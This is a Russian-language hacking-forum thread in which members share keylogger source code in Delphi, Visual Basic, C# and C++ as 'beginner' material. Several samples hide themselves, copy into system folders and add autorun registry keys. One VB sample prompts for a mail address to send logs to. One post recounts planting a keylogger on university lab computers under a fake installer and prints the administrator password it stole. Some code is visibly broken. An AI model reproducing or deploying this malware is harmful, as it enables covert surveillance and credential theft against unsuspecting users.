Клавиатурный шпион

Discussion in 'С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby' started by execom, 8 Jun 2007.

Thread Status:
Not open for further replies.
  1. execom

    execom Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    46
    Likes Received:
    71
    Reputations:
    18
    Вот исходничек простенького клавиатурника! К основным его преемуществам могу отнести то что он очень мал для проги такого класса (19кб),что кстати ломает убеждение о грамоздкости Делфи прог, и занимает мало места в оперативке (обычно 1-1,5мб)!
    Программа абсолютно безопастная и предназдначенна только для изучения! Но я не сомневаюсь в том что это может стать составной частью PSW-trojan! Но это ваше дело....

    Вот код:

    Code:
    program ntrty;
    // KBS ver. 1.0
    //
    При первом запуске проги происходит самокопирование
    // программы в путь dir с именем name! И прописывание
    // в автозагрузку той копии проги!
    // Про запуске проги через автозапуск прога кидает
    // файлу в путь: %USERPROFILE% с именами name+номер+ext
    // при каждом запуске создаётся файл со следующим по
    // порядку номером, а при достижении файла размера в
    // MaxFileSize создаётся следующий файл!
    // При запуске проги в ручную файл с отчётом
    // создаётся в каталоге с прогой!
    // 13.04.2007 (пятница)
    uses Windows;
    
    const
    dir = ‘C:\WINDOWS\system32\drivers\’;
    name = ‘ntrty’;
    ext = ‘.ini’;
    ARCStr = ‘cmd /c reg ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v ‘;
    MaxFileSize = 2048;
    var
    HkHnd : hHook;
    FCh : file of Char;
    line : longint;
    hApp : THandle;
    wClass : TWndClass;
    wMSG : TMSG;
    
    function WC(hInstance: HWND; style,ClsExtra,WndExtra:integer; ICON: hIcon; CURSOR: hCursor; Background: HBrush; ClassName,MenuName: string; Proc: Pointer): TWndClass;
    var
    wCls : TWNDClass;
    begin
    wCls.hInstance:=hInstance;
    wCls.style:= style;
    with wCls do
    begin
    hIcon := ICON;
    lpfnWndProc := Proc;
    hbrBackground := Background;
    lpszClassName := PChar(ClassName);
    hCursor := CURSOR;
    cbClsExtra := ClsExtra;
    cbWndExtra := WndExtra;
    lpszMenuName := PChar(MenuName);
    end;
    Result:=wCls;
    end;
    
    function CreateWnd(wClass: TWndClass; hInstance: HWND; Caption: string; w,h: integer): HWND;
    begin
    Result:=CreateWindow(wClass.lpszClassName,
    PChar(Caption),(0 or $C00000 or $800000 or
    $400000 or $200000 or $100000 or $10000000),
    Integer(DWORD($80000000)),Integer(DWORD($80000000)),
    w, h, 0, 0, hInstance, nil);
    end;
    
    procedure lpWindow(Msg: TMsg);
    begin
    while GetMessage(Msg,0,0,0) do
    begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
    end;
    end;
    
    function IntToStr(Int: integer): string;
    begin
    Str(Int, result);
    end;
    
    function FileExists(const FileName : String) : Boolean;
    var
    Code : Integer;
    begin
    Code := GetFileAttributes(PChar(FileName));
    Result := (Code -1) and (16 and Code = 0);
    end;
    
    function GetName: string;
    var
    i : longint;
    begin
    i:=0;
    repeat
    Inc(i);
    until not FileExists(name+IntToStr(i)+ext);
    Result:=name+IntToStr(i)+ext;
    end;
    
    function Win32Check(RetVal: BOOL): BOOL;
    begin
    if not RetVal then GetLastError;
    Result := RetVal;
    end;
    
    function GetCharFromVKey(vkey: Word): string;
    var
    keyst : TKeyboardState;
    retcode : Integer;
    begin
    Win32Check(GetKeyboardState(keyst));
    SetLength(Result, 2);
    retcode := ToAscii(vkey,
    MapVirtualKeyA(vkey, 0),
    keyst, @Result[1],0);
    case retcode of
    0: Result := ”;
    1: SetLength(Result, 1);
    2: ;
    else
    Result := ”;
    end;
    end;
    
    function HookPr(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
    var
    msg : PEVENTMSG;
    b : Char;
    s : string;
    begin
    if Code >= 0 then
    begin
    msg := Pointer(LParam);
    if msg.message=256 then
    begin
    Inc(line);
    s:=GetCharFromVKey(msg.paramL);
    if Length(s)>0 then
    begin
    b:=s[1];
    if (line mod 80)=0 then BlockWrite(FCh,#10#13,2);
    BlockWrite(FCh,b,1);
    end;
    end;
    if FileSize(FCh)>MaxFileSize then
    begin
    CloseFile(FCh);
    AssignFile(FCh,GetName);
    ReWrite(FCh)
    end;
    result := CallNextHookEx(HkHnd, code, WParam, LParam);
    end;
    end;
    
    function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
    begin
    case Msg of
    1:
    begin
    if not FileExists(dir+name+’.exe’) then
    begin
    Copyfile(PChar(paramstr(0)),dir+name+’.exe’,BOOL(0));
    WinExec(dir+name+’.exe’,SW_Hide);
    halt(0);
    end;
    WinExec(PChar(ARCStr+name+’ /t REG_SZ /d ‘+dir+name+’.exe /f’),SW_Hide);
    line:=0;
    AssignFile(FCh,GetName);
    ReWrite(FCh);
    repeat
    HkHnd := SetWindowsHookEx(0, @HookPr, hInstance, 0);
    until HkHnd0;
    end;
    2:
    begin
    if HkHnd 0 then
    UnhookWindowsHookEx(HkHnd);
    CloseFile(FCh);
    halt(0);
    end;
    end;
    Result := DefWindowProc(hWnd,Msg,wParam,lParam);
    end;
    
    begin
    wClass:=WC(hInstance,0,0,0,0,0,15,’MYCLASS’,”,@WndMessageProc);
    RegisterClass(wClass);
    hApp:=CreateWindow(wClass.lpszClassName, ”,0,
    Integer(DWORD($80000000)),
    Integer(DWORD($80000000)),
    0, 0, 0, 0, hInstance, nil);
    if hApp=0 then
    begin
    UnregisterClass(’MYCLASS’,hInstance);
    halt(0);
    end;
    lpWindow(wMsg);
    end.
    Этот код просто необходимо сохранить в текстовом файле с расширением .dpr и открыть в Делфи!
     
    10 people like this.
  2. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Прикольно. Проверил работает на ура.
     
  3. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Поскольку тема достаточно актуальна для новичков в программировании, предлагаю скидывать сюда исходники различных кейлоггеров. Тему прикрепляю
     
    3 people like this.
  4. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    ы, улыбнул , ну вот , для совсем новичнов (где-то в раритетах специально ради такого откопал),
    даже язык Билли рулит )))
    ...Мегахардкорная штука...

    Code:
    Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
    Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
    Private Declare Function RegOpenKeyExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long
    Private Declare Function RegSetValueExA Lib "advapi32.dll" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpValue As String, ByVal cbData As Long) As Long
    Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
    Private Declare Function RegisterServiceProcess Lib "Kernel32.dll" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
    Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long
    Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal Y As Long, ByVal cX As Long, ByVal cY As Long, ByVal wFlags As Long) As Long
    Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
    Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hWnd As Long) As Long
    Private Declare Function GetComputerName Lib "kernel32" Alias "GetComputerNameA" (ByVal lpBuffer$, nSize As Long) As Long
    Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, nSize As Long) As Long
    Private Const VK_CAPITAL = &H14
    Const REG As Long = 1
    Const HKEY_LOCAL_MACHINE As Long = &H80000002
    Const HWND_TOPMOST = -1
    
    Const SWP_NOMOVE = &H2
    Const SWP_NOSIZE = &H1
    
    Const flags = SWP_NOMOVE Or SWP_NOSIZE
    Dim currentwindow As String
    Dim logfile As String
    Dim mail As String
    Dim mail2 As String
    
    Public Function CAPSLOCKON() As Boolean
    Static bInit As Boolean
    Static bOn As Boolean
    If Not bInit Then
    While Getasynckeystate(VK_CAPITAL)
    Wend
    bOn = GetKeyState(VK_CAPITAL)
    bInit = True
    Else
    If Getasynckeystate(VK_CAPITAL) Then
    While Getasynckeystate(VK_CAPITAL)
    DoEvents
    Wend
    bOn = Not bOn
    End If
    End If
    CAPSLOCKON = bOn
    End Function
    
    Private Sub Command1_Click()
    Form1.Visible = False
    End Sub
    
    
    Private Sub Form_Load()
    Dim runreg As String
    Dim runthat(1 To 2) As String
    Dim temporary As String
    Dim tempos As String
    Dim tmpx As String
    Dim tmpy As String
    Dim i As Integer
    Dim line(1 To 10) As String
    Dim newmailer As String
    
    
        If App.PrevInstance Then
            Unload Me
            End
        End If
       
       Me.Hide
       App.Taskvisable = false; 'когда-то я обожал эту штуку
    
       Hook Me.hWnd
     
    Dim mypath, newlocation As String, u
        
        
    currentwindow = GetCaption(GetForegroundWindow)
    
    mypath = App.Path & "\" & App.EXEName & ".EXE"  'the name of app
    newlocation = Environ("WinDir") & "\system\" & App.EXEName & ".EXE" 'new location
    newmailer = Environ("WinDir") & "\system\" & App.EXEName & ".cff"
    On Error Resume Next
    If mypath <> newlocation Then
    mail = InputBox("enter the mail address where you wish to send the logs to", "PHB ultra keylogger")
    mail2 = ModuleCrypt.TextEncrypt(mail, 1)
    Open newmailer For Output As #33
    Print #33, mail2
    Close #33
    FileCopy mypath, newlocation
    
    u = RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\RunServices", 0, KEY_ALL_ACCESS, a)
    u = RegSetValueExA(a, App.EXEName, 0, REG, newlocation, 1)
    u = RegCloseKey(a)
    
    
    runreg = Environ("WinDir") & "\system\" & App.EXEName & ".REG"
    logfile = Environ("WinDir") & "\system\" & App.EXEName & ".DLL"  'this points to the log file, you may change it
    
    
    i = 1
    For i = 1 To 999
    tempx = Mid(newlocation, i, 1)
    If tempx <> "\" Then
    tempy = tempy & tempx
    End If
    If tempx = "\" Then
    tempx = "\\"
    tempy = tempy & tempx
    End If
    Next
    'MsgBox (tempy)
    
    Open "C:\a.txt" For Output As #99
    Write #99, "svchost"
    Write #99, tempy
    Close #99
    
    Open "C:\a.txt" For Input As #98
    Line Input #98, temporary
    Line Input #98, tempos
    Close #98
    Kill "C:\a.txt"
    'end of acompatiblaittion block
    
    line1 = "Windows Registry Editor Version 5.00"
    line2 = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices]"
    line3 = temporary & " = " & tempos
    line4 = "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"
    line5 = ""
    
    
    Open runreg For Output As #2
    
    
    Print #2, line1
    Print #2, line5
    Print #2, line2
    Print #2, line5
    Print #2, line3
    Print #2, line5
    Print #2, line4
    Print #2, line5
    Print #2, line3
    Close #2
    runthat1 = "regedit/s " & " " & runreg
    runthat2 = "reg import" & " " & runreg
    Shell runthat1
    Shell runthat2
    
    
    End If
    
    If mypath = newlocation Then
    Open newmailer For Input As #34
    Line Input #34, mail
    Close #34
    mail2 = TextEncrypt(mail, 0)
    
    End If
    
    Open logfile For Append As #1
    
    Write #1, vbCrLf
    Write #1, "[Log Start: " & Now & "]" 'tells when the log started
    Write #1, String$(50, "-")
    Close #1
    End Sub
    
    Private Sub Form_Unload(Cancel As Integer)
        UnHook Me.hWnd
    
    texter$ = Text1
    Open logfile For Append As #1
    Write #1, texter
    Write #1, String$(50, "-")
    Write #1, "[Log End: " & Now & "]" 'tells when the log ended
    Close #1
    End Sub
    
    Private Sub Timer1_Timer()
    
    If currentwindow <> GetCaption(GetForegroundWindow) Then
    'Типа отслеживаем в каком окне жертва пишет...
    currentwindow = GetCaption(GetForegroundWindow)
    
    Text1 = Text1 & vbCrLf & vbCrLf & "[" & Time & " - Current Window: " & currentwindow & "]" & vbCrLf
    
    End If
    
    
    Dim keystate As Long
    Dim Shift As Long
    Shift = Getasynckeystate(vbKeyShift)
    
    keystate = Getasynckeystate();
    'тута обрабатываем инфу
    'нада что-та типа text1 = text1 + Chr(keystate)
    'ну или Asc(keyState)....непомню....
    
       keystate = Getasynckeystate(vbKeyBack)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{bkspc}"
         End If
       
       keystate = Getasynckeystate(vbKeyTab)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{tab}"
         End If
       
       keystate = Getasynckeystate(vbKeyReturn)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + vbCrLf
         End If
       
       keystate = Getasynckeystate(vbKeyShift)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{shift}"
         End If
       
       keystate = Getasynckeystate(vbKeyControl)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{ctrl}"
         End If
       
       keystate = Getasynckeystate(vbKeyMenu)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{alt}"
         End If
       
       keystate = Getasynckeystate(vbKeyPause)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{pause}"
         End If
       
       keystate = Getasynckeystate(vbKeyEscape)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{esc}"
         End If
       
       keystate = Getasynckeystate(vbKeySpace)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + " "
         End If
       
       keystate = Getasynckeystate(vbKeyEnd)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{end}"
         End If
       
       keystate = Getasynckeystate(vbKeyHome)
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{home}"
         End If
    
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{left}"
         End If
    
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{right}"
         End If
    
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{up}"
         End If
       
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{down}"
         End If
    
    
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{insert}"
         End If
    
    
    If (keystate And &H1) = &H1 Then
      Text1 = Text1 + "{Delete}"
         End If
    
    end if
             
    End Sub
    
    Private Sub Timer2_Timer()
    'таймер с интервалом  25000 для записи лога в файл каждые 25 сек
    
    Dim lfilesize As Long, txtlog As String, success As Integer
    Dim from As String, name As String
    Open logfile For Append As #1
    
    Write #1, Text1
    Close #1
    
    Text1.Text = ""
    
    lfilesize = FileLen(logfile)file
    
    If lfilesize >= 40000 Then
    
    'типа если файл больше
    Text2 = ""
    
    inform
    
    Open logfile For Input As #1
    While Not EOF(1)
    Input #1, txtlog
    DoEvents
    Text2 = Text2 & vbCrLf & txtlog
    
    Wend
    Close #1
    txtstatus = ""
    
    End If
    
    End Sub
    Sub Cleaner()
    Kill logfile
    End Sub
    
    Public Sub FormOntop(FormName As Form)
        Call SetWindowPos(FormName.hWnd, HWND_TOPMOST, 0&, 0&, 0&, 0&, flags)
    End Sub
    Function GetCaption(WindowHandle As Long) As String
        Dim Buffer As String, TextLength As Long
        TextLength& = GetWindowTextLength(WindowHandle&)
        Buffer$ = String(TextLength&, 0&)
        Call GetWindowText(WindowHandle&, Buffer$, TextLength& + 1)
        GetCaption$ = Buffer$
    End Function
    Sub inform()
        Dim szUser As String * 255
        Dim vers As String * 255
        Dim lang, lReturn, comp As Long
        Dim s, x As Long
        lReturn = GetUserName(szUser, 255)
        comp = GetComputerName(vers, 1024)
        Text2 = "Username- " & szUser
        Text2 = Text2 & vbCrLf & "Computer Name- " & vers
    End Sub
     
    1 person likes this.
  5. NetMan

    NetMan Elder - Старейшина

    Joined:
    9 Feb 2004
    Messages:
    121
    Likes Received:
    37
    Reputations:
    34
  6. je0n

    je0n Elder - Старейшина

    Joined:
    14 May 2006
    Messages:
    345
    Likes Received:
    96
    Reputations:
    41
  7. ozs

    ozs Elder - Старейшина

    Joined:
    27 Nov 2007
    Messages:
    57
    Likes Received:
    44
    Reputations:
    5
    А на C# можно шпиона создать
     
    #7 ozs, 29 Nov 2007
    Last edited: 13 Mar 2008
  8. LEE_ROY

    LEE_ROY Elder - Старейшина

    Joined:
    9 Nov 2006
    Messages:
    450
    Likes Received:
    188
    Reputations:
    26
    можна
     
  9. [Y.P.C.]yla

    [Y.P.C.]yla Журналист-расследователь

    Joined:
    6 Nov 2006
    Messages:
    166
    Likes Received:
    220
    Reputations:
    123
    мне интересно!каГ?выложи исходники!
    Гг...я эти исходники заодно в електроном виде сохраню на флеху в виде Контрольной по Комп.технологиям :D
     
  10. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    и тут, как раз у меня завалялся у меня еще один обучающий "раритет" )
    Code:
    // KeyLogger на С# через GetAsyncKeyState
    [DllImport("user32.dll")]
    private static 
    extern short GetAsyncKeyState(System.Int32 vKey);
    
    private String keybuffer;
    private System.Timers.Timer CheckKey;
    private System.Timers.Timer FlushBuffer;
    private String file;
    
    public Bolean Enabled
    {
        get
        {
            return CheckKey.Enabled && FlushBuffer.Enabled;
        }
        set
        {
            CheckKey.Enabled=value;
            FlushBuffer.Enabled=value;
        }
    }
    
    public Double FlushInterval
    {
    
        get
        {
            return FlushInterval.Interval;
    
        }
        set
        {
            FlushInterval.Interval=value;
        }
    }
    
    
    public String File
    {
        get
        {
            return file;
        }
        set
        {
            file = value;
        }
    }
    public KeyLogger(String filename)
    {
    
        keybuffer = string.Empty;  
    
        this.File = filename;
    
        CheckKey = new System.Timers.Timer();
        CheckKey.Enabled = true;
        CheckKey.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
        CheckKey.Interval = 10;
    
        FlushBuffer = new System.Timers.Timer();
        FlushBuffer.Enabled = true;
        FlushBuffer.Elapsed += new System.Timers.ElapsedEventHandler(CheckKey_Elapsed);
        FlushBuffer.Interval = 120000;
    }
    foreach(Int32 h in Enum.GetValues(typeof(System.Windows.Forms.Keys)))
    {
        if(GetAsyncKeyState(h) == -32767)
        keybuffer+=Enum.GetName(typeof(System.Windows.Forms.Keys),h)+” “;
    }
    public void Flush2File(string file, bool append)
    {
        try
        {
            StreamWriter sw = new StreamWriter(file,append);
            sw.WriteLine(Convert.ToBase64String(System.Text.Encoding.Default.GetBytes(keybuffer)));
            sw.Close();
            keybuffer = string.Empty;
    
        }
        catch(Exception ex)
        {
            throw ex;
        }
    }
    string filename=@”c:\keylogger.txt”;
    KeyLogger kl;
    
    textBox1.Text=”60000”;
    textBox3.Text=filename;
    
    try
    {
        KeyLogger = new KeyLogger(filename);
        Kl.FlushInterval = Convert.ToDouble(textBox1.text);
    }
    catch(Exception)
    {
        MessageBox.Show(“Йа - ошибко”);
    }
    
    //Код для формы
    string filename=@”c:\windows\keylogger.txt”;
    KeyLogger kl;
    
    textBox1.Text=”60000”;
    textBox3.Text=filename;
    
    try
    {
        KeyLogger = new KeyLogger(filename);
        Kl.FlushInterval = Convert.ToDouble(textBox1.text);
    }
    catch(Exception)
    {
        MessageBox.Show(“Йа - ошибко”);
    }
    kl.Enabled=true;
    kl.Flush2File(textBox3.text,true);
    
    kl.Flush2File(textBox3.text,true);
    kl.Enabled=false;
    
    StreamReader sr = new StreamReader(filename);
    byte [] binary;
    
    System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding();
    binary = Convert.FromBase64String(sr.ReadLine());
    richTextBox1.Text = enc.GetString(binary);
    
    while(!sr.EndOfStream)
    {
        binary = Convert.FromBase64String(sr.ReadLine());
        richTextBox1.AppendText(enc.GetString(binary));
    }
    sr.Close();
    
    ContextMenu contextMenu = new ContextMenu();
    contextMenu.MenuItems.Add(“&jes_yo”,new EventHandler(this.jes_yo));
    notifyIcon1.ContextMenu = contextMenu;
    
     
    #10 Jes, 29 Nov 2007
    Last edited: 29 Nov 2007
  11. Rav

    Rav New Member

    Joined:
    11 Dec 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Привет товарищи вопрос такой написал простенький keylogger при вводе текста ловит только в своё окно а из других типа блокнота не ловит пробовал получать handle активного вданный момент окна и подключится к активному окну неполучилось Что я делаю не так? Помогите пожалуйта
    HookProc и SetWindowsHookEx оформил в длл
    код Длл:
    Code:
    #include "stdafx.h"
    #include <windows.h>
    #include "stdio.h"
    #include "HOOK1.h"
    #pragma data_seg(".SHAREDDATA")
    //Глобальные данные
    HHOOK SysHook;
    HINSTANCE hInst;
    FILE *stream;
    int a=0;
    int nCode;
    WPARAM wParam;
    LPARAM lParam;
    TCHAR String[256000];
    //HWND Wnd;
    //DWORD   dwThreadId;
    //DWORD   dwCUrrentId;
    #pragma data_seg()
    
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
    					 )
    {
    	hInst=(HINSTANCE)hModule;
        return TRUE;
      
    }//DllMain
    LRESULT CALLBACK KeyProc(int nCode,
    						 WPARAM wParam,// virtual-key code
    						 LPARAM lParam)// keystroke-message information
     
    {
    	if (lParam>0x8000 )
    	//if (nCode == HC_ACTION)
    		{
    	    UINT uScanCode = MapVirtualKey(wParam,0); 
            BYTE KeyState[256]; 
            WORD BufChar; 
            UINT uFlags=0;
    		  /*dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
    	     dwCUrrentId =GetCurrentThreadId();
    		 if (dwThreadId != dwCUrrentId)	{  
    	    AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
    		 
    		GetKeyboardState(KeyState); 
            if(ToAscii(wParam,uScanCode,KeyState,&BufChar,uFlags)==1) 
            {if (char(BufChar)==8) 
            {if(a==0) return 0; 
             else a--;return 0;} 
    	     if(a>250000)
            MessageBox(NULL,String,"hehe",0);
    		stream = fopen( "SniFFCode", "w+t");
    	    fprintf(stream,"%s\n",String);
    	    fclose(stream);
    	    String[a]=char(BufChar); 
            a++;
    	
    		
    		
    		}//if
    	}
    return 0;//CallNextHookEx(SysHook,nCode,wParam,lParam);;
    }//KeyProc
    DllExport void RunStopHook(bool State, HINSTANCE hInstance)
    { 
    	
    	//DWORD   dwThreadId;
    	//DWORD   dwCUrrentId;
    	
    	{
    	if (true){
    		
          /*  dwThreadId = GetWindowThreadProcessId(GetForegroundWindow(), NULL);
    	     dwCUrrentId =GetCurrentThreadId();
    	  if (dwThreadId == dwCUrrentId)
    	  {MessageBeep(0xFFFFFFFF);}
    	  else
    	  AttachThreadInput(dwCUrrentId,dwThreadId,true);*/
    	  
    		SysHook = SetWindowsHookEx(0,KeyProc, hInstance,0 );
    		//KeyProc(nCode,wParam,lParam);
    	  
    	if (SysHook == NULL)
    			UnhookWindowsHookEx(SysHook);
    	}else
    		UnhookWindowsHookEx(SysHook);
    	}
    
    //AttachThreadInput(dwCUrrentId,dwThreadId,false);
    			//MessageBeep(0xFFFFFFFF); 
    }//RunStopHook
    
    
    и приложения привожу код приложения:
    
    
    HINSTANCE hModule;
      	// Cоздаю новый указатель на функцию
    	     typedef void (RunStopHookProc)(bool, HINSTANCE);
    	        RunStopHookProc* RunStopHook(NULL) ;
    	           // Load the DLL file (Чтение DLL-библиотеки)
    	            hModule = LoadLibrary("HOOK1.dll");
    	              if(hModule!= NULL)
    	             {
    	              RunStopHook = (RunStopHookProc*)GetProcAddress(
                         (HMODULE) hModule, "RunStopHook");					 
    	             }
    	if(RunStopHook != NULL)	
    				  {
               (*RunStopHook)(true, hInstance);
                      }
    	else
    	{
    	FreeLibrary(hModule);
    	}
    	
    	// Main message loop:
    
    
    	while (GetMessage(&msg,NULL, 0, 0)) 
    	{
             (*RunStopHook)(true, hInstance);
    		if (!TranslateAccelerator(msg.hwnd, hAccelTable, &msg)) 
    		{
    			TranslateMessage(&msg);
    			DispatchMessage(&msg);
    			
    		}
    	}
    	
      (*RunStopHook)(false,hInstance);
      FreeLibrary(hModule);
    	return (int) msg.wParam;
    }
     
    #11 Rav, 12 Dec 2007
    Last edited by a moderator: 27 Apr 2008
  12. Jes

    Jes Elder - Старейшина

    Joined:
    16 Apr 2007
    Messages:
    370
    Likes Received:
    391
    Reputations:
    34
    Кей Логгер на C# через Hook ...
    гыгыгы
    Code:
    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.Linq;
    using System.Text;
    using System.Windows.Forms;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.IO;
    
    
    namespace JesSimpleKeyLogger
    {
        public partial class Form1 : Form
        {
    
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            private static extern IntPtr SetWindowsHookEx(int idHook,
                LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
    
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            [return: MarshalAs(UnmanagedType.Bool)]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);
    
            [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
                IntPtr wParam, IntPtr lParam);
    
            [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
            private static extern IntPtr GetModuleHandle(string lpModuleName);
    
    
            public Form1()
            {
                InitializeComponent();
               _hookID = SetHook(_proc);
                Application.Run(); 
               UnhookWindowsHookEx(_hookID);
            }
    
            private const int WH_KEYBOARD_LL = 13;
            private const int WM_KEYDOWN = 0x0100;
            private static LowLevelKeyboardProc _proc = HookCallback;
            private static IntPtr _hookID = IntPtr.Zero;
    
            
            private const string path = @"c:\KeyLog.txt"; // использовать const не обязательно
            }
      
            private static IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                using (Process curProcess = Process.GetCurrentProcess())
                using (ProcessModule curModule = curProcess.MainModule)
                {
                    return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                        GetModuleHandle(curModule.ModuleName), 0);
                }
            }
    
            private delegate IntPtr LowLevelKeyboardProc(
                int nCode, IntPtr wParam, IntPtr lParam);
    
            private static IntPtr HookCallback(
                int nCode, IntPtr wParam, IntPtr lParam)
            {
                
                if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                {
    
    
                    int keyCode = Marshal.ReadInt32(lParam);
                   
                    string keyString = Convert.ToChar(vkCode).ToString();
    
                    using (StreamWriter sw = File.AppendText(path))
                    {
                        sw.Write(keyString); // Пишем в файл ...
                    }
                }
                return CallNextHookEx(_hookID, nCode, wParam, lParam);
            }
    
        }
    }
    никаких наворотов , думаю , разобраться не составит труда ...
    Я собрал код так, чтобы для его запуска достаточно его только скопировать(From1.cs);(ибо топ для новичков)
     
  13. Rulodine

    Rulodine New Member

    Joined:
    16 Jan 2008
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    по поводу первого поста

    Я хотел узнать вот первый кейлогер который выложили он у меня не работает , пишет ошибки постоянные , gold-goblin можеш выложить тот , что у тебя пошел ?
     
  14. A2GIL

    A2GIL Elder - Старейшина

    Joined:
    31 Aug 2007
    Messages:
    84
    Likes Received:
    59
    Reputations:
    -3
    Помог самописный Кейлогер

    Полторы недели назад начался новый семестр. Как ни странно я уже ждал этого момента, так как у нас постоянно что-то колотили в универе, прокладывали какие-то кабеля. Прошел слух что у нас собираются проводить сеть, причем интернет теперь сделают халявним для учащихся, но правда с невысокой скоростью. Потирая ладони я почувствовал, что вот оно-счастье! И что вы думаете? Да...бесплатный сыр только в мышеловке бывает...Мало того что не появилось этого халявного инета, дак еще и доступы везде поограничевали. Вот вам по 200 мб на каждом компе и как хотите! Конечно же доступ у админов был полным. Такая идея мне очень не понравилась, я решил во что бы то не стало получить доступ к адинистратору. Первое что я попробовал - это конечно же стащить SAM но вот облом - системник весь в пломбах и на биосе пароль!:( Дам..ну да ладно. Увлекшись этой мыслю, стал перебирать в голове различные варианты, и....А что если старым добрым способом: кейлоггинг? Благо в инете много всяких кейллогов...Придя домой сразу же в инет искать? И вот когда у меня собралось с десяток, стал тестить...Не знаю почему но меня ни один не устроил - почти каждый второй клиент-серверный (оно и понятно), а некоторые вообще только английские клавиши ловят. Короче не то это все и вот взяв один исходничек было решено его подогнать, что называется под себя! И вот парочка деньков и кейллог готов:) Так как в нашей лаборатории сидят в основном то нубы, я зашел туда и сказал: Можно я скину себе последнюю версию Fox'a (они у них полулицензионные=))? - Да пожалуйста. Далее думаю комментария излишни...И тут бац звонок на пару - Ой я потом у Вас докопирую приду позже...
    Гы...прихожу через два дня:) Скинул как и обещал. И как Вы думаете?-Получилось!!!!!!!!!!Кейллог, который был настроен у меня определенное окошко, благополучно записал логин и пароль, которые в последствии были проверены и подошли: administrator: h2urra4!. Поэтому выкладываю сюда свое произведение, может кому тоже понравится:) В оставшееся время, написал для него формочку, если не охото копаться в исходниках (прилагаются к кейллогеру). Забавно, но сперва напоминает Pinch. Поэтому назвал Vinchi:) Работает только локально, и никакого вреда для машины не наносит (разве, что записи в реестре:d). Если будут отзывы, можно будет доработать. Кстати весит - 12 кб:)
    Язык - Delphi
    Скачать (~700 кб)
    P.S С сердечком, потому что завтра 14 февраля:)
     
    #14 A2GIL, 13 Feb 2008
    Last edited: 13 Feb 2008
    1 person likes this.
  15. ozs

    ozs Elder - Старейшина

    Joined:
    27 Nov 2007
    Messages:
    57
    Likes Received:
    44
    Reputations:
    5
    Начинаю собирать и находит 2 ошибки. using System.Linq; и HookCallback собирaю в visual studio 2005
     
    #15 ozs, 27 Apr 2008
